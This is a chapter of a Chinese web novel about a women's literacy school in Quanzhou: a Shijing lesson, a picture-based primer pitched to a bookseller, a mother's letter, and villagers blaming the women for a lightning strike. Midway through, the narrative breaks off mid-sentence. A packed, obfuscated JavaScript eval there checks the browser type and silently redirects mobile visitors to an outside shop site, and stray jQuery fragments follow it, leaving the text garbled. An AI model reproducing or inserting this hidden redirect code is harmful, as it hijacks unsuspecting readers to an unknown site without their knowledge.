中级班的课已经上了大半个月。陈折在讲《诗经·卫风·氓》。
她把那卷翻旧了的书页摊在桌面上，手指沿着字行慢慢移过去，“‘士之耽兮，犹可说也。女之耽兮，不可说也。’”她读完这两句，停下来，把书页轻轻合拢了一些，抬起头来。
“这句话的意思，很多人理解为，男子陷入情爱，还能脱身；女子一旦沉溺，就挣脱不出了。但我要你们想一想，真的是因为女子天性执拗吗？”她没有等回答，“是时代不给女性退路。男子有田产、有家业、有仕途，他有地方可去。女子嫁了人，她的退路就只有那一道门。所以她走不掉。”
“《氓》里的那位女子，最后没有留在原地。她认清了那个人，然后离开了。”陈折说，“一个先秦时代的农家女子，在那个时候选择了转身走开。她不靠依附男人活下去。这是最早的女性自我觉醒。”
底下安静了一会儿，一个刚满十六岁的绣坊女孩坐在第二排，手里握着一根炭笔，笔尖抵在纸面上没有移动，“先生说，先秦时候的女子，还能自己中意心上人。怎么越往后，我们连挑选的余地都没了？”
旁边一位年长的织妇叹了口气：“是后来的规矩，一层层把咱们圈在了后院里。读书认字，原不是为了嫁个更好的人家，是为了往后再遇到不公，我们能说清道理，能写下字据，不用再哭着无处申辩。”她停了一下，“我嫁人的时候，连聘书都没看清过。现在想来，那上面写的是什么，我到现在也不知道。”
有人提起初级班有一个叫小莲的女孩，父母早年遇灾无力抚养，在她七岁时就把她许给一户佃户做童养媳。小莲的丈夫比她小六岁，她白日要跟着婆家下地，每天忙完才能来学堂认几个字。众人话音里满是怅然。陈折站在前面静静听着，等大家说得差不多了，才开口：“我们在这里读书，便是慢慢攒一份底气。眼下改不了全城的旧规矩，但至少能护住我们自己，护住身边愿意互相帮衬的姐妹。”
那天课后，阿竹没有像往常一样去后院收纸。她站在窗边，等其他人陆续走了之后，才走到陈折面前，手里还攥着那支削了半截的炭笔。她停了一下，把鬓边垂下来的碎发别到耳后，“我想跟您说一件事……我在想，有没有一种识字书，是画着画的？比如画一个小猪，旁边写一个‘猪’字。画一朵花，旁边写‘花’字。这样不认识字的人看着图，也能猜到那个字是什么意思。”
陈折正在整理桌面上的纸页，手停了一下。阿竹平时话不多，很少主动提出自己的想法。她站在窗边，“你继续说。”
“学堂里来的人，很多是从来没见过字的。”阿竹说，“她们不知道一个字长什么样，为什么要长那样。如果先看到图，再看到字，至少能知道这个字说的是什么。这样她们记得住，也能自己试着读。”
陈折看着她：“这个想法很好。你把这个想法跟阿娜和詹姆斯商量一下，怎么画、怎么写、怎么排。然后你去找书坊掌柜谈一下，问他愿不愿意每印一份《居家卫生常识》，就搭配一本这样的图文识字书。告诉他，这是用来卖给那些不识字的人，和买《居家卫生常识》的是同一批人。搭着卖，他不亏。”
阿竹站在原地，像在确认自己有没有听错：“……我来谈？”
“你来谈。这是你的想法，也由你来做。”
阿竹低头看了一眼自己手里那支削了半截的炭笔：“那我先去找阿娜和詹姆斯。商量好了再去找掌柜。”
当天傍晚，阿娜蹲在后院纸架旁边，阿竹蹲在她对面，把一张裁好的普通竹纸铺在两人之间的地面上，用炭笔画了一只简笔的小猪。圆圆的肚子，小耳朵，卷尾巴。画完，她在旁边写下个字：“猪”。阿娜接过去，在空白处画出另一只小猪，又画了一个铃铛，在旁边写了“铃”字。她画完之后说：“画和字要离得近一些，不能隔太远，不然看到字的时候已经忘了图长什么样。”
詹姆斯站在几步外，没有走近，但他在听。他开口说了一句话，声音不高：“可以和之前的《居家卫生常识》关联上。比如画一个盛水的盆，上面一双手，边上写着‘洗手’。不识字的人照着图画，也能看懂。”
阿竹和阿娜同时抬起头来看向他。詹姆斯没有等她们回应，已经从桌上取过一张裁好的普通竹纸，平铺在石面上，拿起炭笔。他的手指落笔几乎没有停顿，笔尖与纸面之间没有犹豫的空间。纸上先出现一道弧线，是盆沿。然后是第二道弧线，盆底收窄，边缘平滑，比例精准得像用尺子量过。他在盆面添了几道细线，短的，微微弯曲，是水的波纹。最后是一双手，指尖朝上，交叠在盆面上方，指节分明，拇指微微张开，就像正在等待水流从它们之间穿过。整个过程不到百息。没有一笔是多余的，没有一根线条需要擦掉重来。
他放下笔，把纸转了个方向，推向阿竹和阿娜。阿竹低头看着那张画，有一会儿没有说话。盆的弧线，水的波纹，和那双手。几根线条的组合，却在纸面上形成了一种不需要被解读、只需要被看到的叙事。每一根线条都在它应该在的位置，不是为了显示技巧，是为了让观者一眼就能认出画里传达的信息。
“……几笔就画出来了。”阿竹说，声音不大，像在自言自语。
“不用画复杂，画出轮廓，对方能认出来就行。”詹姆斯说，“需要调整的地方告诉我。”
阿竹把纸拿起来对着光看了看，又放回石面上：“我想再画一张。一个小孩在面前放着一碗饭和一双筷子。”她比划了一下，“这幅画可以和‘洗手’放在同一页。写上“吃饭”和“筷子”，对应饭前洗手。”
阿娜蹲在旁边，把自己画的小猪和花推过来。纸上还画了一只碗、一棵树、一个人蹲在地上。她的笔画没有詹姆斯那么准，但每一笔都落得稳：“这些可以凑一本小册子。每一页两幅图，旁边一两个字，底下再加一行小字解释，让识字的人可以念给不识字的人听。”
阿竹把那张画了水盆和双手的纸拿起来，放在窗台上用一根木头压住。窗外的风正好从墙头穿过，把纸页边缘吹得微微翘起。她侧过头，看着那幅画。那盆水、那双手、那些线条，正在一起构成一个她可以伸手触摸的世界。
第二天，阿竹带着几张画好的图样找书坊掌柜。掌柜最初只看了一眼那些画。一只小猪，一朵花，一只盆，一碗饭……旁边各写着一个或两个字。
他放下那卷纸说：“这个卖不动。画画的字书，文人不会买，不识字的不会进书坊。”
“你之前那本《居家卫生常识》，买的人是谁？”阿竹问。
“书生买给家里的女眷。”
“那她们为什么不识字？是她们不想学吗？是她们没有机会。现在有一种书，能让她们自己学会认字。”阿竹说，“你不用印很多。先试一批，搭着《居家卫生常识》一起卖。买那本书的人可以加几文钱换一本这个。你看看能不能卖出去。”
掌柜翻了两页那些画，没有立刻说好，也没有说不好，把那卷画样放回柜台上：“你先回去画吧。画够了三十页，拿来我看。”
阿竹点了点头，转身走出了书坊。她走得不快，但脚步比来时更稳了。她穿过泉州城的街道，沿着已经熟悉的路线走回溪边，推开院门时看到陈折正在院子里晒纸。她没有停步，也没有说“我拿到答复了”，只是穿过院子，在她平时坐的那张矮桌前坐下，摊开一张新的纸，继续设计她们今天要画的图片。
阿竹和阿娜在后院忙碌的那些天里，吴婶每天傍晚收工后都会在窗边多坐一会儿，写那封还没写完的信。她学得很慢，但每天都多学会两个新字。她问过阿娜“信封怎么写”，阿娜在草纸上示范了一遍地址的写法，又在旁边画了一个小记号。一个圆圈，里面点了一点，意思是“这是收信人的位置”。
信寄出去之后，吴婶在学堂里安静了几天。她没有问“信到了没有”，也没有在窗口多张望，但有一天晚上，陈折路过前屋时看到她坐在门槛上，手里握着一张纸，在灯下翻来覆去地看。那是她寄出去的信的底稿，墨迹已经干了，纸边被反复摩挲得微微发毛。
半个多月后的一个下午，邮差停在纸坊门口，递进来一只信封。信封上的字歪歪扭扭，比吴婶的字稍微整齐一些，但是笔画更轻。吴婶站在窗边拆开信，没有立刻坐下。她站在那里，把信纸展开，信纸上的字不多。吴婶看完之后，把信纸翻过来看了看背面，没有字了，又翻回正面，重新看了一遍。
她把信纸折好放进衣襟内侧，然后走到后院，正在给新纸收边的阿竹旁边蹲下，说：“我女儿回信了。你帮我看看，是不是她说过一阵子要来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786809|210200||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
泉州看我。我还有些字不认识，她家男人怎么了？”
阿竹接过吴婶手里的纸：“信里说的丈夫去年从四川那边打仗回来，受了伤，退下来了，以后不走了。他们夫妻要带着儿子来这里长住。”阿竹将信还给吴婶，“那你以后就不用写信了。”
“还是要写。”吴婶说，“我学会了，以后什么都能写。”
她说完站起来走回前屋，步子比之前稳了一些，身子也挺的很直。陈折站在后院门口，看着吴婶的背影穿过院子。她侧过头，对詹姆斯说：“她女儿回信了。”詹姆斯正在调整水碓的落槌角度，没有抬头，但手上的动作慢了一拍：“信上说了什么？”
“说她要回来了。”陈折说，“她的丈夫以前在四川打仗，受了伤，退下来了。”
那年的春天雷雨特别多。第二天泉州城连续下了一天大雨，雷声时不时打断阿娜教写字的声音。晚间下课，天色渐晴。阿娜正在整理纸笔，忽然看见两个男人闯进工坊大门。这间工坊全是女人，男人一般是不来的。几个上年纪的女工上前拦了一拦，推推搡搡间，阿娜听见他们说，日间打雷，击中了他们村里一处房屋。族老说天雷降世，是村内有女子不守本分，冲撞了上天。补救之法是阖族凑钱修缮宗祠，献祭祈福，以求消弭天怒。
坊间女人缩回双手，讪讪地不再言语。
阿娜拦住小莲，问她之后还来不来。小莲红着一双眼睛，没有说话。一个脸很宽的男人不耐烦地推了阿娜一把：“你们女人成天聚在一起，不守本分。”
那天傍晚，阿娜蹲在溪边洗竹帘时，侧过头问了一句：“吴婶的女婿，以前在四川打过仗？”陈折在旁边整理晾干的纸：“听说是。剿灭农民起义军的。”
“那他应该会功夫。”阿娜说，低头把竹帘上的纸浆残渣冲干净，“等她女婿回来了，我想去问问他能不能教我。”
陈折没有说好，也没有说不好：“等他们到了再说。”
阿娜把洗好的竹帘立在溪边的石头上，甩了甩手上的水，站起来往回走。她的背影比以前更高了。她在溪边站了一会儿，看了一会儿水流，然后转身走回院子。詹姆斯站在屋檐下的阴影里，看着她从溪边走回来的路线。她走得很稳，每一步都落在同一个节奏上。
阿竹用了七天时间，把第一版图文设计稿整理完毕。她用细麻绳把纸页扎成一卷，抱在怀里，沿着主街走回书坊。掌柜接过画稿，解开麻绳铺在柜台上，一页一页地翻过去。他翻到水盆洗手那一页，停了一下，又翻到小猪配“猪”字那一页，再看下一页、下下页，直到翻完最后一幅画。他放下画稿，又拿起第一页看了看，像在确认自己的眼睛没有漏掉什么。画风和传统的国画完全不搭界。没有晕染，没有留白，没有皴法。那些线条干净得像用刀刻出来的，每一根都落得准，像一个正在被缓慢校准的工具。
“之前没见过这样的画法。”掌柜说，“印刷也不复杂，笔触简单，制版省事。”他把画稿翻到最后一页，“先试印一百份，配着《居家卫生常识》一起上架。”阿竹点了点头，没有多说什么，把麻绳收进怀里，转身走出书坊。她沿着主街往回走，步子不急不慢，她穿过的每一条街都和前些日子一样。
走到东城门附近时，她看到布告栏前面围了几个人。一张新贴的告示，白纸黑字，墨迹还是新的，边缘没有被风吹卷。布告的排头比衙门文书的格式更正式，字迹也更工整，行间距拉得比平时更宽。阿竹停下脚步，站在人群外围，把告示上的字读了一遍。上面说皇帝驾崩了。新君即位，国丧期间，禁止民间在公共场合举行一切喜庆活动。落款是泉州府衙。
阿竹站了一会儿，没有挤进去看更细的内容。她把目光从布告上收回来，转身继续往回走。城门外尘土扬起，一辆骡车从官道上缓缓驶来，车板上堆着几只木箱和一些用布裹着的零碎行李，像在运送一个正在被重新拼合的家庭。
一个年轻女人坐在车辕旁边，一左一右倚靠这两个男孩。驾车的是一个身形高大的男人，穿一件半旧的深色短衣，手臂搭在膝盖上，目光落在远处的城墙轮廓上。
阿竹站在几步外的榆树下，看到远处吴婶迎着走近那辆车，目光落在那年轻女人的脸上。她转身沿溪边的小路走回纸坊，那辆骡车停在了吴婶家门口。